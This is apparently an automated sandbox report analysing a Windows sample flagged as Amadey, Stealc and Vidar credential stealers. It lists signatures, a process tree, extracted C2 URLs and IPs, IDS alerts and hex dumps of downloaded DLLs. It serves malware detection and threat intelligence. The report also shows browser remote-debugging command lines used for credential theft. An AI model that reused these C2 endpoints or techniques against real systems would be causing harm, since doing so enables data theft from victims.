Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560576
MD5:	e2fef9de68b89d7bb679918977c0f089
SHA1:	19a93a049dce3c285f508aa6ead57637149917ef
SHA256:	f46ec872bb777f2298dfc842b7ee4091e146ce829cb9b4174275bc393ffdfbb9
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5356 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E2FEF9DE68B89D7BB679918977C0F089)

chrome.exe (PID: 1436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2180,i,2346990794852362482,14346715251733473473,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8120 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7724 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2152,i,10331360522470495270,3768999544705103513,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8452 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDAFIEHIEG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJDAFIEHIEG.exe (PID: 8592 cmdline: "C:\Users\user\DocumentsJDAFIEHIEG.exe" MD5: A68BD83F0CEDD6B76CCA22D5853EC168)

skotes.exe (PID: 8736 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: A68BD83F0CEDD6B76CCA22D5853EC168)

msedge.exe (PID: 7708 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7272 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6572 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2232 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6796 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9092 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7400 --field-trial-handle=2348,i,8810042862309211089,17614865435975973735,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 4444 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: A68BD83F0CEDD6B76CCA22D5853EC168)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2697917488.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2725767457.0000000000151000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.2747182858.0000000000EF1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3424426746.0000000000EF1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2185106449.0000000005410000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.2705810582.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.3216298917.00000000049A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000003.2685133973.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5356	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5356	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5356	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5356	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.skotes.exe.ef0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsJDAFIEHIEG.exe.150000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.ef0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5356, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1436, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T00:11:23.407337+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T00:11:23.282939+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T00:11:23.745707+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T00:11:25.196239+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T00:11:23.867054+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T00:11:22.803800+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T00:13:05.279721+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50080	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T00:11:25.922462+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T00:11:48.966384+0100	2803304	3	Unknown Traffic	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:50.952656+0100	2803304	3	Unknown Traffic	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:52.340704+0100	2803304	3	Unknown Traffic	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:53.534168+0100	2803304	3	Unknown Traffic	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:57.137682+0100	2803304	3	Unknown Traffic	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:58.255051+0100	2803304	3	Unknown Traffic	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:12:04.091222+0100	2803304	3	Unknown Traffic	192.168.2.5	49919	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/nss3.dll6	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dlla;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllP;	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpK	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000014.00000002.2725767457.0000000000151000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.5356.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C516C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

1_2_6C516C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49932 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.18:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.18:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50124 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50080 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 23:11:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 23:11:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 